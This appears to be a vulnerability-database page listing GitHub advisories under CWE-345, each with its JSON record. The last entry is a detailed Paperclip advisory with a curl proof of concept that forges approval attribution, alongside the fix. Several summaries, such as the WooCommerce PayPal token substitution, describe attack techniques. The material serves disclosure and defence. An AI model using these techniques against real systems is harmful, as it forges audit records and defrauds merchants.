Common Weakness Enumeration

CWE-345

Discouraged

Insufficient Verification of Data Authenticity

Abstraction: Class · Status: Draft

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

1088 vulnerabilities reference this CWE, most recent first.

GHSA-P2WF-95F3-Q546

Vulnerability from github – Published: 2023-12-21 12:30 – Updated: 2023-12-21 12:30
VLAI
Details

In JetBrains IntelliJ IDEA before 2023.3.2 code execution was possible in Untrusted Project mode via a malicious plugin repository specified in the project configuration

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-51655"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-21T10:15:36Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains IntelliJ IDEA before 2023.3.2 code execution was possible in Untrusted Project mode via a malicious plugin repository specified in the project configuration",
  "id": "GHSA-p2wf-95f3-q546",
  "modified": "2023-12-21T12:30:28Z",
  "published": "2023-12-21T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51655"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P2WM-HVRR-C5C3

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42
VLAI
Details

An issue was discovered in heinekingmedia StashCat through 1.7.5 for Android, through 0.0.80w for Web, and through 0.0.86 for Desktop. The product's protocol only tries to ensure confidentiality. In the whole protocol, no integrity or authenticity checks are done. Therefore man-in-the-middle attackers can conduct replay attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-11130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-01T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in heinekingmedia StashCat through 1.7.5 for Android, through 0.0.80w for Web, and through 0.0.86 for Desktop. The product\u0027s protocol only tries to ensure confidentiality. In the whole protocol, no integrity or authenticity checks are done. Therefore man-in-the-middle attackers can conduct replay attacks.",
  "id": "GHSA-p2wm-hvrr-c5c3",
  "modified": "2022-05-13T01:42:08Z",
  "published": "2022-05-13T01:42:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11130"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Jul/90"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P384-7C3J-GQM7

Vulnerability from github – Published: 2026-08-07 09:31 – Updated: 2026-08-07 09:31
VLAI
Details

The Subscriptions for WooCommerce WordPress plugin before 2.0.1 does not validate the payment amount or bind the PayPal order token to the order being completed on the WooCommerce order-received flow: it captures a client-supplied token and marks the order paid whenever the capture status is COMPLETED, without comparing the captured amount to the order total. This allows an attacker (unauthenticated where guest checkout is enabled) to substitute an approved, uncaptured PayPal order token and have an expensive order marked paid without paying its price.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-15211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-07T08:16:45Z",
    "severity": "MODERATE"
  },
  "details": "The Subscriptions for WooCommerce WordPress plugin before 2.0.1 does not validate the payment amount or bind the PayPal order token to the order being completed on the WooCommerce order-received flow: it captures a client-supplied token and marks the order paid whenever the capture status is COMPLETED, without comparing the captured amount to the order total. This allows an attacker (unauthenticated where guest checkout is enabled) to substitute an approved, uncaptured PayPal order token and have an expensive order marked paid without paying its price.",
  "id": "GHSA-p384-7c3j-gqm7",
  "modified": "2026-08-07T09:31:52Z",
  "published": "2026-08-07T09:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15211"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/0653ccce-5427-4ffc-a34c-18b45710d9f3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P4GJ-RMQV-7H27

Vulnerability from github – Published: 2022-07-27 00:00 – Updated: 2022-08-03 00:00
VLAI
Details

Motorola ACE1000 RTUs through 2022-05-02 mishandle application integrity. They allow for custom application installation via either STS software, the C toolkit, or the ACE1000 Easy Configurator. In the case of the Easy Configurator, application images (as PLX/DAT/APP/CRC files) are uploaded via the Web UI. In case of the C toolkit, they are transferred and installed using SFTP/SSH. In each case, application images were found to have no authentication (in the form of firmware signing) and only relied on insecure checksums for regular integrity checks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-30269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-26T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Motorola ACE1000 RTUs through 2022-05-02 mishandle application integrity. They allow for custom application installation via either STS software, the C toolkit, or the ACE1000 Easy Configurator. In the case of the Easy Configurator, application images (as PLX/DAT/APP/CRC files) are uploaded via the Web UI. In case of the C toolkit, they are transferred and installed using SFTP/SSH. In each case, application images were found to have no authentication (in the form of firmware signing) and only relied on insecure checksums for regular integrity checks.",
  "id": "GHSA-p4gj-rmqv-7h27",
  "modified": "2022-08-03T00:00:54Z",
  "published": "2022-07-27T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30269"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-179-06"
    },
    {
      "type": "WEB",
      "url": "https://www.forescout.com/blog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P5J9-FJFF-QRMR

Vulnerability from github – Published: 2026-04-25 18:32 – Updated: 2026-04-25 18:32
VLAI
Details

A security vulnerability has been detected in Cesanta Mongoose up to 7.20. This issue affects the function mg_aes_gcm_decrypt of the file /src/tls_aes128.c of the component GCM Authentication Tag Handler. Such manipulation leads to improper verification of cryptographic signature. The attack may be performed from remote. A high complexity level is associated with this attack. The exploitability is assessed as difficult. The exploit has been disclosed publicly and may be used. Upgrading to version 7.21 is capable of addressing this issue. It is advisable to upgrade the affected component. VulDB has contacted the vendor early and they confirmed quickly, that this issue got fixed already.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-6986"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-25T17:16:33Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in Cesanta Mongoose up to 7.20. This issue affects the function mg_aes_gcm_decrypt of the file /src/tls_aes128.c of the component GCM Authentication Tag Handler. Such manipulation leads to improper verification of cryptographic signature. The attack may be performed from remote. A high complexity level is associated with this attack. The exploitability is assessed as difficult. The exploit has been disclosed publicly and may be used. Upgrading to version 7.21 is capable of addressing this issue. It is advisable to upgrade the affected component. VulDB has contacted the vendor early and they confirmed quickly, that this issue got fixed already.",
  "id": "GHSA-p5j9-fjff-qrmr",
  "modified": "2026-04-25T18:32:58Z",
  "published": "2026-04-25T18:32:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6986"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cesanta/mongoose/releases/tag/7.21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dwBruijn/CVEs/blob/main/Mongoose/AESGCM.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/796231"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359529"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359529/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P6R4-24W5-R764

Vulnerability from github – Published: 2022-05-17 03:56 – Updated: 2025-04-12 12:59
VLAI
Details

Allround Automations PL/SQL Developer 11 before 11.0.6 relies on unverified HTTP data for updates, which allows man-in-the-middle attackers to execute arbitrary code by modifying fields in the client-server data stream.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-2346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-04-25T18:59:00Z",
    "severity": "HIGH"
  },
  "details": "Allround Automations PL/SQL Developer 11 before 11.0.6 relies on unverified HTTP data for updates, which allows man-in-the-middle attackers to execute arbitrary code by modifying fields in the client-server data stream.",
  "id": "GHSA-p6r4-24w5-r764",
  "modified": "2025-04-12T12:59:13Z",
  "published": "2022-05-17T03:56:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-2346"
    },
    {
      "type": "WEB",
      "url": "https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/229047"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P6VJ-J24G-56WP

Vulnerability from github – Published: 2022-05-13 01:29 – Updated: 2022-05-13 01:29
VLAI
Details

client_side.cc in Squid before 3.5.18 and 4.x before 4.0.10 does not properly ignore the Host header when absolute-URI is provided, which allows remote attackers to conduct cache-poisoning attacks via an HTTP request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-4553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-05-10T19:59:00Z",
    "severity": "HIGH"
  },
  "details": "client_side.cc in Squid before 3.5.18 and 4.x before 4.0.10 does not properly ignore the Host header when absolute-URI is provided, which allows remote attackers to conduct cache-poisoning attacks via an HTTP request.",
  "id": "GHSA-p6vj-j24g-56wp",
  "modified": "2022-05-13T01:29:26Z",
  "published": "2022-05-13T01:29:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4553"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2016:1139"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2016:1140"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201607-01"
    },
    {
      "type": "WEB",
      "url": "http://bugs.squid-cache.org/show_bug.cgi?id=4501"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00010.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00040.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2016-08/msg00069.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3625"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1035768"
    },
    {
      "type": "WEB",
      "url": "http://www.squid-cache.org/Advisories/SQUID-2016_7.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-14039.patch"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2995-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P75G-GCV5-42QG

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2024-02-01 21:47
VLAI
Summary
Grin insufficient data validation
Details

Grin 3.0.0 before 4.0.0 has insufficient validation of data related to Mimblewimble.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "grin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "4.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15899"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-01T21:47:51Z",
    "nvd_published_at": "2020-07-28T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Grin 3.0.0 before 4.0.0 has insufficient validation of data related to Mimblewimble.",
  "id": "GHSA-p75g-gcv5-42qg",
  "modified": "2024-02-01T21:47:51Z",
  "published": "2022-05-24T17:24:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15899"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mimblewimble/grin-security/blob/master/CVEs/CVE-2020-15899.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mimblewimble/grin/compare/v3.1.1...v4.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grin insufficient data validation"
}

GHSA-P7MM-R948-4Q3Q

Vulnerability from github – Published: 2026-04-16 22:48 – Updated: 2026-04-16 22:48
VLAI
Summary
Paperclip: Approval decision attribution spoofing via client-controlled `decidedByUserId` in paperclip server
Details

Summary

The approval-resolution endpoints (POST /approvals/:id/approve, /reject, /request-revision) accept a client-supplied decidedByUserId field in the request body and write it verbatim into the authoritative approvals.decidedByUserId column — without cross-checking it against the authenticated actor. Any board user who can access an approval's company can record the decision as having been made by another user (e.g. the CEO), forging the governance audit trail. For hire_agent approvals with a monthly budget, the same attacker-controlled string is also stamped onto the resulting budget_policies row as createdByUserId/updatedByUserId.

Details

Entry pointserver/src/routes/approvals.ts:130:

router.post("/approvals/:id/approve", validate(resolveApprovalSchema), async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  if (!(await requireApprovalAccess(req, id))) {
    res.status(404).json({ error: "Approval not found" });
    return;
  }
  const { approval, applied } = await svc.approve(
    id,
    req.body.decidedByUserId ?? "board",   // ← client-controlled
    req.body.decisionNote,
  );

Authorization checkserver/src/routes/authz.ts:4:

export function assertBoard(req: Request) {
  if (req.actor.type !== "board") {
    throw forbidden("Board access required");
  }
}

assertBoard only checks that the caller is some board user; it never ties req.body.decidedByUserId to req.actor.userId. requireApprovalAccess/assertCompanyAccess only verify the attacker is allowed to touch the approval's company, which every board user in that company already is.

Validatorpackages/shared/src/validators/approval.ts:13:

export const resolveApprovalSchema = z.object({
  decisionNote: z.string().optional().nullable(),
  decidedByUserId: z.string().optional().default("board"),
});

The Zod schema accepts any string for decidedByUserId — no UUID check, no membership check, no binding to the session.

Sinkserver/src/services/approvals.ts:54:

const updated = await db
  .update(approvals)
  .set({
    status: targetStatus,
    decidedByUserId,               // ← attacker-chosen value written verbatim
    decisionNote: decisionNote ?? null,
    decidedAt: now,
    updatedAt: now,
  })
  .where(and(eq(approvals.id, id), inArray(approvals.status, resolvableStatuses)))
  .returning()

Secondary sink (budget policies)server/src/services/approvals.ts:147-156, reached when a hire_agent approval with budgetMonthlyCents > 0 is approved:

if (budgetMonthlyCents > 0) {
  await budgets.upsertPolicy(
    updated.companyId,
    { scopeType: "agent", scopeId: hireApprovedAgentId, amount: budgetMonthlyCents, windowKind: "calendar_month_utc" },
    decidedByUserId,              // ← forwarded as actorUserId
  );
}

budgets.upsertPolicy uses that actorUserId to populate createdByUserId/updatedByUserId on the budget_policies row, extending the forgery to budget-policy audit columns.

Same pattern in reject and request-revisionserver/src/routes/approvals.ts:229 and :257:

router.post("/approvals/:id/reject", validate(resolveApprovalSchema), async (req, res) => {
  assertBoard(req);
  ...
  const { approval, applied } = await svc.reject(id, req.body.decidedByUserId ?? "board", req.body.decisionNote);

approvalService.reject() and requestRevision() (approvals.ts:175 and :201) both write decidedByUserId directly into the approvals row.

Why logActivity is not a mitigation: the route handlers correctly use req.actor.userId ?? "board" when writing to activity_log (e.g. approvals.ts:151, 175, 190, 212, 246, 276), which shows the developer intent was that the deciding user equals the authenticated user. But the authoritative approvals.decidedByUserId column — the value shown to anyone reviewing the approval — is still sourced from the client, so the two records are allowed to diverge and the user-visible attribution is the forged one.

Why this is reachable from a non-admin attacker: actorMiddleware (server/src/middleware/auth.ts:62-98) populates req.actor as type: "board" for any authenticated user (session cookie or board API key); isInstanceAdmin is not consulted by assertBoard. In a multi-user authenticated deployment, any board member of a company can spoof the attribution of any other board member for approvals within that company. In local_trusted deployments there is only a single implicit local-board user, so the exploit has no target — but the code is shipped for both deployment modes.

PoC

Prerequisite: a pending hire_agent approval $APPROVAL_ID in a company where both attacker@corp and ceo@corp are board members of the authenticated deployment. Attacker authenticates with their own session cookie / board API key.

  1. Attacker approves as the CEO:
curl -X POST http://localhost:3000/approvals/$APPROVAL_ID/approve \
  -H 'Content-Type: application/json' \
  -H "Cookie: $ATTACKER_SESSION" \
  -d '{"decidedByUserId":"ceo@corp","decisionNote":"LGTM"}'
  1. Verify the forged attribution is stored on the authoritative row:
curl http://localhost:3000/approvals/$APPROVAL_ID \
  -H "Cookie: $ATTACKER_SESSION" | jq '.decidedByUserId'
# => "ceo@corp"
  1. For hire_agent approvals with budgetMonthlyCents > 0, confirm the budget-policy row is also stamped with the forged user (direct DB read, or via an endpoint that surfaces budget_policies.createdByUserId):
SELECT scope_id, amount, created_by_user_id, updated_by_user_id
FROM budget_policies
WHERE scope_type = 'agent'
ORDER BY created_at DESC LIMIT 1;
-- created_by_user_id = 'ceo@corp'
-- updated_by_user_id = 'ceo@corp'
  1. The same body works against /approvals/$APPROVAL_ID/reject and /approvals/$APPROVAL_ID/request-revision.

Note: the activity_log row written alongside the approval still shows the real attacker's userId (correctly taken from req.actor.userId), so a defender who looks at activity_log will see the discrepancy — but the approval UI, the approvals API, and the budget_policies audit columns all display the forged user.

Impact

  • Forged governance audit trail. Any board user with access to a company can record approval, rejection, or revision-request decisions under any arbitrary user identifier — including other legitimate board users of that company. Approvals gate security-sensitive actions (agent hiring, which grants execution privileges and assigns a monthly spend budget), and the approvals.decidedByUserId column is the authoritative record of who authorized each decision.
  • Budget-policy attribution forgery. For hire_agent approvals that carry a monthly budget, budget_policies.createdByUserId / updatedByUserId are also populated from the same attacker-controlled string, spreading the forgery to spend-authorization audit columns.
  • Non-repudiation break. A board user can frame another board user for approving/rejecting a hire, undermining accountability for governance actions. The parallel activity_log entry does preserve the true actor, but any reviewer inspecting the approval itself (not the activity log) will see the forged attribution as fact.
  • Scope. Limited to board users who already have company access; does not escalate privileges, does not leak data, and does not change whether the decision itself gets applied. Integrity impact is Low (attribution only, not decision content); confidentiality and availability are unaffected.

Recommended Fix

Drop decidedByUserId from the request schema entirely and derive it server-side from the authenticated actor. Treat req.body.decidedByUserId as untrusted and ignore it.

packages/shared/src/validators/approval.ts:

export const resolveApprovalSchema = z.object({
  decisionNote: z.string().optional().nullable(),
  // decidedByUserId removed — server derives from req.actor
});

export const requestApprovalRevisionSchema = z.object({
  decisionNote: z.string().optional().nullable(),
});

server/src/routes/approvals.ts (apply to /approve, /reject, /request-revision):

router.post("/approvals/:id/approve", validate(resolveApprovalSchema), async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  if (!(await requireApprovalAccess(req, id))) {
    res.status(404).json({ error: "Approval not found" });
    return;
  }
  const decidedBy = req.actor.userId ?? "board";   // trust the session, not the body
  const { approval, applied } = await svc.approve(id, decidedBy, req.body.decisionNote);
  ...
});

Repeat the same const decidedBy = req.actor.userId ?? "board"; substitution at approvals.ts:238 (/reject) and :269 (/request-revision). No change is needed inside approvalService — it already accepts the value as a parameter — and this also ensures the forged value cannot reach budgets.upsertPolicy at approvals.ts:155. Existing callers that currently pass a body decidedByUserId can be updated to stop sending it (it is already effectively redundant with the session).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.416.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:48:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe approval-resolution endpoints (`POST /approvals/:id/approve`, `/reject`, `/request-revision`) accept a client-supplied `decidedByUserId` field in the request body and write it verbatim into the authoritative `approvals.decidedByUserId` column \u2014 without cross-checking it against the authenticated actor. Any board user who can access an approval\u0027s company can record the decision as having been made by another user (e.g. the CEO), forging the governance audit trail. For `hire_agent` approvals with a monthly budget, the same attacker-controlled string is also stamped onto the resulting `budget_policies` row as `createdByUserId`/`updatedByUserId`.\n\n## Details\n\n**Entry point** \u2014 `server/src/routes/approvals.ts:130`:\n\n```ts\nrouter.post(\"/approvals/:id/approve\", validate(resolveApprovalSchema), async (req, res) =\u003e {\n  assertBoard(req);\n  const id = req.params.id as string;\n  if (!(await requireApprovalAccess(req, id))) {\n    res.status(404).json({ error: \"Approval not found\" });\n    return;\n  }\n  const { approval, applied } = await svc.approve(\n    id,\n    req.body.decidedByUserId ?? \"board\",   // \u2190 client-controlled\n    req.body.decisionNote,\n  );\n```\n\n**Authorization check** \u2014 `server/src/routes/authz.ts:4`:\n\n```ts\nexport function assertBoard(req: Request) {\n  if (req.actor.type !== \"board\") {\n    throw forbidden(\"Board access required\");\n  }\n}\n```\n\n`assertBoard` only checks that the caller is some board user; it never ties `req.body.decidedByUserId` to `req.actor.userId`. `requireApprovalAccess`/`assertCompanyAccess` only verify the attacker is allowed to touch the approval\u0027s company, which every board user in that company already is.\n\n**Validator** \u2014 `packages/shared/src/validators/approval.ts:13`:\n\n```ts\nexport const resolveApprovalSchema = z.object({\n  decisionNote: z.string().optional().nullable(),\n  decidedByUserId: z.string().optional().default(\"board\"),\n});\n```\n\nThe Zod schema accepts any string for `decidedByUserId` \u2014 no UUID check, no membership check, no binding to the session.\n\n**Sink** \u2014 `server/src/services/approvals.ts:54`:\n\n```ts\nconst updated = await db\n  .update(approvals)\n  .set({\n    status: targetStatus,\n    decidedByUserId,               // \u2190 attacker-chosen value written verbatim\n    decisionNote: decisionNote ?? null,\n    decidedAt: now,\n    updatedAt: now,\n  })\n  .where(and(eq(approvals.id, id), inArray(approvals.status, resolvableStatuses)))\n  .returning()\n```\n\n**Secondary sink (budget policies)** \u2014 `server/src/services/approvals.ts:147-156`, reached when a `hire_agent` approval with `budgetMonthlyCents \u003e 0` is approved:\n\n```ts\nif (budgetMonthlyCents \u003e 0) {\n  await budgets.upsertPolicy(\n    updated.companyId,\n    { scopeType: \"agent\", scopeId: hireApprovedAgentId, amount: budgetMonthlyCents, windowKind: \"calendar_month_utc\" },\n    decidedByUserId,              // \u2190 forwarded as actorUserId\n  );\n}\n```\n\n`budgets.upsertPolicy` uses that `actorUserId` to populate `createdByUserId`/`updatedByUserId` on the `budget_policies` row, extending the forgery to budget-policy audit columns.\n\n**Same pattern in `reject` and `request-revision`** \u2014 `server/src/routes/approvals.ts:229` and `:257`:\n\n```ts\nrouter.post(\"/approvals/:id/reject\", validate(resolveApprovalSchema), async (req, res) =\u003e {\n  assertBoard(req);\n  ...\n  const { approval, applied } = await svc.reject(id, req.body.decidedByUserId ?? \"board\", req.body.decisionNote);\n```\n\n`approvalService.reject()` and `requestRevision()` (`approvals.ts:175` and `:201`) both write `decidedByUserId` directly into the approvals row.\n\n**Why `logActivity` is not a mitigation**: the route handlers correctly use `req.actor.userId ?? \"board\"` when writing to `activity_log` (e.g. `approvals.ts:151`, `175`, `190`, `212`, `246`, `276`), which shows the developer intent was that the deciding user equals the authenticated user. But the authoritative `approvals.decidedByUserId` column \u2014 the value shown to anyone reviewing the approval \u2014 is still sourced from the client, so the two records are allowed to diverge and the user-visible attribution is the forged one.\n\n**Why this is reachable from a non-admin attacker**: `actorMiddleware` (`server/src/middleware/auth.ts:62-98`) populates `req.actor` as `type: \"board\"` for any authenticated user (session cookie or board API key); `isInstanceAdmin` is not consulted by `assertBoard`. In a multi-user `authenticated` deployment, any board member of a company can spoof the attribution of any other board member for approvals within that company. In `local_trusted` deployments there is only a single implicit `local-board` user, so the exploit has no target \u2014 but the code is shipped for both deployment modes.\n\n## PoC\n\nPrerequisite: a pending `hire_agent` approval `$APPROVAL_ID` in a company where both `attacker@corp` and `ceo@corp` are board members of the `authenticated` deployment. Attacker authenticates with their own session cookie / board API key.\n\n1. Attacker approves as the CEO:\n\n```bash\ncurl -X POST http://localhost:3000/approvals/$APPROVAL_ID/approve \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Cookie: $ATTACKER_SESSION\" \\\n  -d \u0027{\"decidedByUserId\":\"ceo@corp\",\"decisionNote\":\"LGTM\"}\u0027\n```\n\n2. Verify the forged attribution is stored on the authoritative row:\n\n```bash\ncurl http://localhost:3000/approvals/$APPROVAL_ID \\\n  -H \"Cookie: $ATTACKER_SESSION\" | jq \u0027.decidedByUserId\u0027\n# =\u003e \"ceo@corp\"\n```\n\n3. For `hire_agent` approvals with `budgetMonthlyCents \u003e 0`, confirm the budget-policy row is also stamped with the forged user (direct DB read, or via an endpoint that surfaces `budget_policies.createdByUserId`):\n\n```sql\nSELECT scope_id, amount, created_by_user_id, updated_by_user_id\nFROM budget_policies\nWHERE scope_type = \u0027agent\u0027\nORDER BY created_at DESC LIMIT 1;\n-- created_by_user_id = \u0027ceo@corp\u0027\n-- updated_by_user_id = \u0027ceo@corp\u0027\n```\n\n4. The same body works against `/approvals/$APPROVAL_ID/reject` and `/approvals/$APPROVAL_ID/request-revision`.\n\nNote: the `activity_log` row written alongside the approval still shows the real attacker\u0027s `userId` (correctly taken from `req.actor.userId`), so a defender who looks at `activity_log` will see the discrepancy \u2014 but the approval UI, the approvals API, and the budget_policies audit columns all display the forged user.\n\n## Impact\n\n- **Forged governance audit trail.** Any board user with access to a company can record approval, rejection, or revision-request decisions under any arbitrary user identifier \u2014 including other legitimate board users of that company. Approvals gate security-sensitive actions (agent hiring, which grants execution privileges and assigns a monthly spend budget), and the `approvals.decidedByUserId` column is the authoritative record of who authorized each decision.\n- **Budget-policy attribution forgery.** For `hire_agent` approvals that carry a monthly budget, `budget_policies.createdByUserId` / `updatedByUserId` are also populated from the same attacker-controlled string, spreading the forgery to spend-authorization audit columns.\n- **Non-repudiation break.** A board user can frame another board user for approving/rejecting a hire, undermining accountability for governance actions. The parallel `activity_log` entry does preserve the true actor, but any reviewer inspecting the approval itself (not the activity log) will see the forged attribution as fact.\n- **Scope.** Limited to board users who already have company access; does not escalate privileges, does not leak data, and does not change whether the decision itself gets applied. Integrity impact is Low (attribution only, not decision content); confidentiality and availability are unaffected.\n\n## Recommended Fix\n\nDrop `decidedByUserId` from the request schema entirely and derive it server-side from the authenticated actor. Treat `req.body.decidedByUserId` as untrusted and ignore it.\n\n**`packages/shared/src/validators/approval.ts`:**\n\n```ts\nexport const resolveApprovalSchema = z.object({\n  decisionNote: z.string().optional().nullable(),\n  // decidedByUserId removed \u2014 server derives from req.actor\n});\n\nexport const requestApprovalRevisionSchema = z.object({\n  decisionNote: z.string().optional().nullable(),\n});\n```\n\n**`server/src/routes/approvals.ts`** (apply to `/approve`, `/reject`, `/request-revision`):\n\n```ts\nrouter.post(\"/approvals/:id/approve\", validate(resolveApprovalSchema), async (req, res) =\u003e {\n  assertBoard(req);\n  const id = req.params.id as string;\n  if (!(await requireApprovalAccess(req, id))) {\n    res.status(404).json({ error: \"Approval not found\" });\n    return;\n  }\n  const decidedBy = req.actor.userId ?? \"board\";   // trust the session, not the body\n  const { approval, applied } = await svc.approve(id, decidedBy, req.body.decisionNote);\n  ...\n});\n```\n\nRepeat the same `const decidedBy = req.actor.userId ?? \"board\";` substitution at `approvals.ts:238` (`/reject`) and `:269` (`/request-revision`). No change is needed inside `approvalService` \u2014 it already accepts the value as a parameter \u2014 and this also ensures the forged value cannot reach `budgets.upsertPolicy` at `approvals.ts:155`. Existing callers that currently pass a body `decidedByUserId` can be updated to stop sending it (it is already effectively redundant with the session).",
